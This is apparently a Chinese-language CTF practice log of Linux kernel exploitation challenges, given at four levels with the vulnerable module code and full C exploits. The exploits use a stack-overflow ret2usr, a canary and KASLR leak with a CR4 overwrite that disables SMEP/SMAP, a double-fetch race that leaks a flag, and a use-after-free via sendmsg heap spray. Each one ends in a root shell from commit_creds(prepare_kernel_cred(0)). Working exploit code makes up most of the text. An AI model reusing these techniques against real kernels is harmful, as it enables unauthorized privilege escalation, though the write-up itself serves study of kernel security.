kernelpwn刷题记录 0x1 level1 0x1.1 boot.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/bash stty intr ^] cd `dirname $0 `timeout --foreground 600 qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel bzImage \ -append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \ -monitor /dev/null \ -initrd initramfs.cpio \ -smp cores=1,threads=1 \ -cpu qemu64 2>/dev/null
noksalr,nosmep,nosmap
0x1.2 init 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 # !/bin/sh echo "IF8gIF9fICAgICAgICAgICAgICAgXyAgICAgICAgICBfICAgICAKfCB8LyAvX19fICBfX18gXyBfXyB8IHwgICAgX18gX3wgfF9fICAKfCAnIC8vIF8gXC8gXyBcICdfIFx8IHwgICAvIF9gIHwgJ18gXCAKfCAuIFwgIF9fLyAgX18vIHwgfCB8IHxfX3wgKF98IHwgfF8pIHwKfF98XF9cX19ffFxfX198X3wgfF98X19fX19cX18sX3xfLl9fLyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK" | base64 -d mount -t devtmpfs none /dev mount -t proc proc /proc insmod /home/pwn/baby.ko chmod 644 /dev/baby echo 1 > /proc/sys/kernel/dmesg_restrict echo 1 > /proc/sys/kernel/kptr_restrict cd /home/pwn setsid cttyhack setuidgid 1000 sh umount /proc poweroff -f
没有对proc/kallsyms保护
0x1.3 baby.ko 1 2 3 4 5 6 7 8 9 10 11 12 __int64 __fastcall sub_0 (__int64 a1, int a2) { __int64 v2; __int64 v3; _QWORD v5[17 ]; _fentry__(); if ( a2 != 0x6001 ) return 0LL ; v5[16 ] = v2; return (int )copy_from_user(v5, v3, 256LL ); }
有栈溢出,直接ret2usr,使用kallsyms查看函数地址的时候发现地址全为0,百度后发现是内核的一种保护措施,只有root用户能够直接查看kallsyms,所以本地调试的时候把用户权限改大就好
提取vmlinux的命令
1 2 /usr/src/linux-headers-$ (uname -r)/scripts/extract-vmlinux bzImage > vmlinux objdump -d vmlinux > gadget
0x1.4 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 #include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> size_t prepare_kernel_cred=0xffffffff810b9d80 ;size_t commit_creds=0xffffffff810b99d0 ;void usr_shell () { if (getuid()==0 ){ printf ("[*]----getshell pk" ); system("/bin/sh" ); }else { puts ("[*] getshell fail" ); } } size_t user_cs,user_ss,user_rflags,user_sp;void save_status () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has ben saved." ); } void up_power () { (*((void (*)(char *))commit_creds))((*((char * (*)(int ))prepare_kernel_cred))(0 )); } int main () { save_status(); size_t swapgs_pop_rbp_ret=0xffffffff81070834 ; size_t iretq=0xffffffff81036a5b ; size_t rop[32 ]={0 }; rop[17 ]=(size_t )up_power; rop[18 ]=swapgs_pop_rbp_ret; rop[20 ]=iretq; rop[21 ]=(size_t )usr_shell; rop[22 ] = user_cs; rop[23 ] = user_rflags; rop[24 ] = user_sp; rop[25 ] = user_ss; int fd=open("/dev/baby" ,0 ); if (fd<0 ){ printf ("[-] bad open\n" ); } ioctl(fd,0x6001 ,rop); }
提权成功
1 2 3 4 5 6 / $ id uid=1000(pwn) gid=1000 groups=1000 / $ ./exp [*]status has ben saved. / # id uid=0(root) gid=0
0x1.5 问题 使用add-symbol-file baby.ko 0x0
并不能断成功ko文件的函数,此时我们可以使用lsmod
得知ko文件的首地址,然后利用具体地址断点,而不是通过函数名
0x2 level2 0x2.1 boot.sh 难度升级,开起了smep,smap和kaslr,为了方便调试先关闭kaslr.
1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/bash stty intr ^] cd `dirname $0` timeout --foreground 600 qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel bzImage \ -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \ -monitor /dev/null \ -initrd initramfs.cpio \ -smp cores=1,threads=1 \ -cpu qemu64,smep,smap 2>/dev/null
0x2.2 ko文件保护 1 2 3 4 5 6 7 .ko [*] '/home/rootzhang/kernelstudy/pwnstudy/level2/baby.ko' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0)
比原来多了canary保护
0x2.3 baby.ko 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 __int64 __fastcall sub_0 (__int64 a1, int a2) { __int64 v2; __int64 v3; _QWORD v5[18 ]; _fentry__(); v5[17 ] = v2; v5[16 ] = __readgsqword(0x28 u); if ( a2 == 24577 ) return (int )copy_from_user(v5, v3, 512LL ); if ( a2 == 24578 ) return (int )copy_to_user(v3, v5, 512LL ); return 0LL ; }
存在泄露和溢出,具体思路就是先泄露canary和内核地址,然后再溢出完成提权,提权有两种思路,一个方式是改变smep和smap的标志位然后ret2usr,一种方式是直接rop
0x2.4 exp 我采用的是更改cr4完成commits(prepare_kernel_cred(0))完成提权。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 #include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> size_t commit_creds_offset=0xb99d0 ;size_t prepare_kernel_cred_offset=0xb9d80 ;size_t vmlinux_base_addr=0 ;size_t vmlinux_nokaslr_addr=0xffffffff81000000 ;void usr_shell () { if (getuid()==0 ){ printf ("[*]----getshell ok" ); system("/bin/sh" ); }else { puts ("[*] getshell fail" ); } } void up_power () { size_t commit_creds=vmlinux_base_addr+commit_creds_offset; size_t prepare_kernel_cred=vmlinux_base_addr+prepare_kernel_cred_offset; (*((void (*)(char *))commit_creds))((*((char * (*)(int ))prepare_kernel_cred))(0 )); } size_t user_cs,user_ss,user_rflags,user_sp;void save_status () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has ben saved." ); } int main () { save_status(); int fd=open("/dev/baby" ,0 ); if (fd<0 ){ printf ("[*] open fail" ); } size_t buf[0x200 ]={0 }; size_t rop[0x200 ]={0 }; ioctl(fd,0x6002 ,buf); size_t canary=buf[16 ]; vmlinux_base_addr=buf[9 ]-0x29b078 ; size_t swapgs_pop_rbp_ret=vmlinux_base_addr+0xffffffff81070834 -vmlinux_nokaslr_addr; size_t itretq=vmlinux_base_addr+0xffffffff81036a5b -vmlinux_nokaslr_addr; size_t mov_cr4_pop_rbp_ret=vmlinux_base_addr+0xffffffff81020300 -vmlinux_nokaslr_addr; size_t pop_rdi_rbx=vmlinux_base_addr+0xffffffff81087c99 -vmlinux_nokaslr_addr; int i=16 ; rop[i++]=canary; i++; rop[i++]=pop_rdi_rbx; rop[i++]=0x6f0 ; rop[i++]=0x6f0 ; rop[i++]=mov_cr4_pop_rbp_ret; rop[i++]=0 ; rop[i++]=(size_t )up_power; rop[i++]=swapgs_pop_rbp_ret; rop[i++]=0 ; rop[i++]=itretq; rop[i++]=(size_t )usr_shell; rop[i++]=user_cs; rop[i++]=user_rflags; rop[i++]=user_sp; rop[i++]=user_ss; ioctl(fd,0x6001 ,rop);
0x3 level3 0x3.1 start.sh 1 2 3 4 5 6 7 8 qemu-system-x86_64 \ -m 256M -smp 2,cores=2,threads=1 \ -kernel ./vmlinuz-4.15.0-22-generic \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \ -cpu qemu64 \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
其中-smp 2,cores=2,threads=1
的作用如下
也就是说这个内核可以开至多两个线程了。
0x3.2 init 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # !/bin/sh mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev echo "flag{this_is_a_sample_flag}" > flag chown root:root flag chmod 400 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console insmod baby.ko chmod 777 /dev/baby echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh umount /proc umount /sys poweroff -d 0 -f
0x3.3 ko文件 一个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 __int64 __fastcall baby_ioctl (__int64 a1, int a2) { __int64 v2; int i; __int64 v5; _fentry__(); v5 = v2; if ( a2 == 26214 ) { printk("Your flag is at %px! But I don't think you know it's content\n" , flag); return 0LL ; } else if ( a2 == 4919 && !_chk_range_not_ok(v2, 16LL , *(_QWORD *)(__readgsqword((unsigned int )¤t_task) + 4952 )) && !_chk_range_not_ok( *(_QWORD *)v5, *(int *)(v5 + 8 ), *(_QWORD *)(__readgsqword((unsigned int )¤t_task) + 4952 )) && *(_DWORD *)(v5 + 8 ) == strlen (flag) ) { for ( i = 0 ; i < strlen (flag); ++i ) { if ( *(_BYTE *)(*(_QWORD *)v5 + i) != flag[i] ) return 22LL ; } printk("Looks like the flag is not a secret anymore. So here is it %s\n" , flag); return 0LL ; } else { return 14LL ; } }
分析:允许传入一个结构体的指针,结构体长这个样子
1 2 3 4 struct message { char *buf; int len; }m;
他会检查buf+len的地址又没有超出用户态的最高地址,如果超出了就会退出,如果没有超出就会拿buf的字符一个个和flag比对,如果全部比对成功就会返回flag值。
漏洞利用:这个内核允许开两个线程,所以可以利用这一点,主线程传入正常的m然后开启一个支线程一直修改m的buf为flag_addr,这样支线程就有几率当主线程刚检查完m后支线程修改m.buf=flag_addr,这样就能比对成功输出flag值了。
0x3.4 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #include <stdio.h> #include <string.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <pthread.h> struct message { char *buf; int len; }m; void change_flag_addr (size_t flag_addr) { while (1 ){ m.buf=flag_addr; } } int main () { int fd=open("dev/baby" ,0 ); ioctl(fd,0x6666 ,0 ); system("dmesg |grep 'Your flag is at ' > ./flag_addr.txt" ); int temp_fd=open("./flag_addr.txt" ,0 ); char buf[100 ]={0 }; int len=strlen ("[ 2.817016] Your flag is at " ); read(temp_fd,buf,100 ); close(temp_fd); size_t flag_addr=strtoull(buf+len,buf+len+16 ,16 ); printf ("flag_addr:%d\n" ,flag_addr); m.buf=buf; int ret; for (int i=0 ;i<100 ;i++){ m.len=i; ret=ioctl(fd,0x1337 ,&m); if (ret==22 ){ printf ("flag_len:%d\n" ,i); break ; } } pthread_t tid; pthread_create(&tid,NULL ,change_flag_addr,flag_addr); for (int i=0 ;i<0x100000 ;i++){ m.buf=buf; ret=ioctl(fd,0x1337 ,&m); if (ret==0 ){ printf ("susses\n" ); break ; } } close(fd); system("dmesg |grep 'Looks like the flag is' > ./flag.txt" ); temp_fd=open("./flag.txt" ,0 ); read(temp_fd,buf,100 ); write(STDOUT_FILENO,buf,100 ); close(temp_fd); return 0 ; }
0x3.5 收获 1.第一次做多线程的内核题,主要利用姿势就是通过主线程完成检查后支线程修改数据。
2.strtoull函数,第一个参数是要转换字符串的首地址,第二个是要转换的字符串的最后一个地址的后一个地址,第三个参数是进制,返回一个8字节数。
0x4 level4 0x4.1 start.sh 保护全开,本地调试的时候先关闭kaslr.
1 2 3 4 5 6 7 8 9 10 11 12 # !/bin/bash stty intr ^] cd `dirname $0` timeout --foreground 600 qemu-system-x86_64 \ -m 64M \ -nographic \ -kernel bzImage \ -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \ -monitor /dev/null \ -initrd initramfs.cpio \ -smp cores=1,threads=1 \ -cpu qemu64,smep,smap 2>/dev/null
0x4.2 init 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # !/bin/sh echo "IF8gIF9fICAgICAgICAgICAgICAgXyAgICAgICAgICBfICAgICAKfCB8LyAvX19fICBfX18gXyBfXyB8IHwgICAgX18gX3wgfF9fICAKfCAnIC8vIF8gXC8gXyBcICdfIFx8IHwgICAvIF9gIHwgJ18gXCAKfCAuIFwgIF9fLyAgX18vIHwgfCB8IHxfX3wgKF98IHwgfF8pIHwKfF98XF9cX19ffFxfX198X3wgfF98X19fX19cX18sX3xfLl9fLyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK" | base64 -d mount -t proc none /proc mount -t devtmpfs none /dev mkdir /dev/pts mount /dev/pts insmod /home/pwn/baby.ko chmod 644 /dev/baby echo 1 > /proc/sys/kernel/dmesg_restrict echo 1 > /proc/sys/kernel/kptr_restrict cd /home/pwn setsid cttyhack setuidgid 1000 sh umount /proc poweroff -f
0x4.3 ko文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 __int64 __fastcall sub_0 (__int64 a1, int a2) { __int64 v2; __int64 v3; __int64 v4; __int64 v6; __int64 v7; __int64 v8; __int64 v9; __int64 v10; __int64 v11; __int64 v12; _fentry__(); v3 = v2; v4 = kmem_cache_alloc_trace(kmalloc_caches[4 ], 6291648LL , 16LL ); copy_from_user(v4, v3, 16LL ); switch ( a2 ) { case 24584 : v12 = *(int *)(v4 + 8 ); if ( (unsigned int )v12 <= 0x1F && qword_6C0[v12] ) ((void (*)(void ))kfree)(); break ; case 24585 : v10 = *(int *)(v4 + 8 ); if ( (unsigned int )v10 <= 0x1F ) { v11 = qword_6C0[v10]; if ( v11 ) (*(void (__fastcall **)(_QWORD, __int64, __int64))(v11 + 64 ))(*(_QWORD *)(v11 + 56 ), v11, 72LL ); } break ; case 24583 : v6 = 0LL ; while ( 1 ) { v7 = (int )v6; if ( !qword_6C0[v6] ) break ; if ( ++v6 == 32 ) goto LABEL_4; } v8 = kmem_cache_alloc_trace(kmalloc_caches[1 ], 6291648LL , 72LL ); v9 = *(_QWORD *)v4; qword_6C0[v7] = v8; *(_QWORD *)(v8 + 64 ) = ©_to_user; *(_QWORD *)(v8 + 56 ) = v9; break ; } LABEL_4: kfree(v4); return 0LL ; }
发现会申请72字节,根据上一篇slub的分析可知,申请72字节的话其实会分配给你96字节的,也就是0x60,申请完在这个堆里填入一个函数地址然后后面会调用这个地址,所以如果能覆盖这个地址就能拿到程序流了,后面free这个堆的时候没有清除指针,存在uaf,所以可以利用堆喷申请内核堆,申请0x10000肯定能申请到刚才free的堆,然后把那个堆的函数指针覆盖就可以了,这里采用sendmsg进行堆喷。
0x4.4 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 #include <sys/mman.h> #include <sys/wait.h> #include <unistd.h> #include <sys/syscall.h> #include <string.h> #include <stdlib.h> #include <arpa/inet.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/types.h> #include <stdio.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/socket.h> size_t vmlinux_nokaslr_addr=0xffffffff81000000 ;size_t vmlinux_addr=0 ;size_t commit_creds=0 ;size_t prepare_kernel_cred=0 ;size_t really_addr (size_t addr) { return vmlinux_addr+addr-vmlinux_nokaslr_addr; } void up_power () { (*((void (*)(char *))commit_creds))((*((char * (*)(int ))prepare_kernel_cred))(0 )); } size_t user_cs,user_ss,user_rflags,user_sp;void save_status () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp,rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has ben saved." ); } struct input { size_t *buf; int idx; }input; void add (int fd) { ioctl(fd,0x6007 ,&input); } void show (int fd) { ioctl(fd,0x6009 ,&input); } void del (int fd) { ioctl(fd,0x6008 ,&input); } void main () { save_status(); int fd=open("dev/baby" ,0 ); input.buf=(size_t *)malloc (8 *12 ); input.idx=0 ; add(fd); show(fd); del(fd); vmlinux_addr=input.buf[8 ]-0x4d4680 ; size_t mov_cr4_pop_ret=really_addr(0xffffffff81070790 ); commit_creds=really_addr(0xffffffff810b99d0 ); prepare_kernel_cred=really_addr(0xffffffff810b9d80 ); char buf[96 ]; struct msghdr msg = {0 }; struct sockaddr_in addr = {0 }; int sockfd=socket(AF_INET,SOCK_DGRAM,0 ); ((size_t *)buf)[7 ]=0x6f0 ; ((size_t *)buf)[8 ]=mov_cr4_pop_ret; addr.sin_addr.s_addr=htonl(INADDR_LOOPBACK); addr.sin_family=AF_INET; addr.sin_port=htons(6666 ); msg.msg_control=buf; msg.msg_controllen=96 ; msg.msg_name=(caddr_t )&addr; msg.msg_namelen=sizeof (addr); for (int i=0 ;i<0x10000 ;i++){ sendmsg(sockfd,&msg,0 ); } printf ("cr4:%p/n" ,mov_cr4_pop_ret); show(fd); ((size_t *)buf)[8 ]=(size_t )up_power; input.idx=1 ; add(fd); del(fd); for (int i=0 ;i<0x10000 ;i++){ sendmsg(sockfd,&msg,0 ); } show(fd); if (getuid()==0 ){ puts ("[*]--getshell ok" ); system("/bin/sh" ); } }
0x4.5 sendmsg堆喷 堆喷的简单原理就是在用户态申请n多个内核堆然后然后填入数据,如果ko文件存在uaf的话那就可以利用堆喷拿到被free掉的堆修改其中的内容,进而影响程序执行。
sendmsg首先涉及了两个结构体struct msghdr
和struct sockaddr_in
首先是sockaddr_in
记录了数据包的目的地址和端口号,然后把这个结构体的地址赋值给msghdr.msg_name
,把这个结构体的大小赋值给msghdr.msg_namelen
,然后把要发送的数据包的地址给msg.msg_control
,把数据包的长度传递给msg.msg_controllen
,最后调用sendmsg()函数,sendmsg函数的大概过程如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg, struct msghdr *msg_sys, unsigned int flags, struct used_address *used_address, unsigned int allowed_msghdr_flags) { struct compat_msghdr __user *msg_compat = (struct compat_msghdr __user *)msg; struct sockaddr_storage address ; struct iovec iovstack [UIO_FASTIOV ], *iov = iovstack; unsigned char ctl[sizeof (struct cmsghdr) + 20 ] __aligned(sizeof (__kernel_size_t )); unsigned char *ctl_buf = ctl; int ctl_len; ssize_t err; msg_sys->msg_name = &address; if (MSG_CMSG_COMPAT & flags) err = get_compat_msghdr(msg_sys, msg_compat, NULL , &iov); else err = copy_msghdr_from_user(msg_sys, msg, NULL , &iov); if (err < 0 ) return err; err = -ENOBUFS; if (msg_sys->msg_controllen > INT_MAX) goto out_freeiov; flags |= (msg_sys->msg_flags & allowed_msghdr_flags); ctl_len = msg_sys->msg_controllen; if ((MSG_CMSG_COMPAT & flags) && ctl_len) { err = cmsghdr_from_user_compat_to_kern(msg_sys, sock->sk, ctl, sizeof (ctl)); if (err) goto out_freeiov; ctl_buf = msg_sys->msg_control; ctl_len = msg_sys->msg_controllen; } else if (ctl_len) { BUILD_BUG_ON(sizeof (struct cmsghdr) != CMSG_ALIGN(sizeof (struct cmsghdr))); if (ctl_len > sizeof (ctl)) { ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL); if (ctl_buf == NULL ) goto out_freeiov; } err = -EFAULT; if (copy_from_user(ctl_buf, (void __user __force *)msg_sys->msg_control, ctl_len)) goto out_freectl; msg_sys->msg_control = ctl_buf; } msg_sys->msg_flags = flags; ...
可见如果msg.msg_controllen>44就会申请一个msg_controllen大小的堆块,然后把msg_control指向的数据赋值给刚申请的堆块,多次使用sendmsg就能达到堆喷的目的。